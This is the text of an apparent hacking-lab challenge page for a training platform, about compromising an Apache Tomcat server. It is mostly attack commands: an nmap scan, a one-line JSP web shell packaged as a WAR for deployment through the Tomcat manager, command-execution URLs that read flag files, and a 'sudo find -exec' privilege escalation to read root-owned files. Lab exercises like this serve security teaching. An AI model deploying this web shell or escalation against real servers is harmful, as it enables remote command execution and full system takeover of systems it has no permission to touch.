Dive into a realistic web application penetration testing scenario featuring Apache Tomcat. This server has been left with dangerous default configurations and sudo misconfigurations that could lead to complete system compromise. 🎯 Master the art of web application exploitation, WAR file deployment, and Linux privilege escalation in this hands-on challenge.
Launch your dedicated AWS machine to begin hacking
nmap -sS -sV -Pn <target-ip>
http://<target-ip>:8080
http://<target-ip>:8080/manager/html
mkdir webshell
cd webshell
echo '<%@ page import="java.io.*" %><% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = reader.readLine()) != null) { out.println(line + "<br/>"); } } %>' > shell.jsp
jar -cvf ../shell.war *
cd ..
http://<target-ip>:8080/shell/shell.jsp?cmd=whoami
http://<target-ip>:8080/shell/shell.jsp?cmd=id
http://<target-ip>:8080/shell/shell.jsp?cmd=cat /home/flag-user.txt
http://<target-ip>:8080/shell/shell.jsp?cmd=sudo -l
http://<target-ip>:8080/shell/shell.jsp?cmd=sudo%20find%20/root%20-name%20flag-root.txt%20-exec%20cat%20%7B%7D%20%2B
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.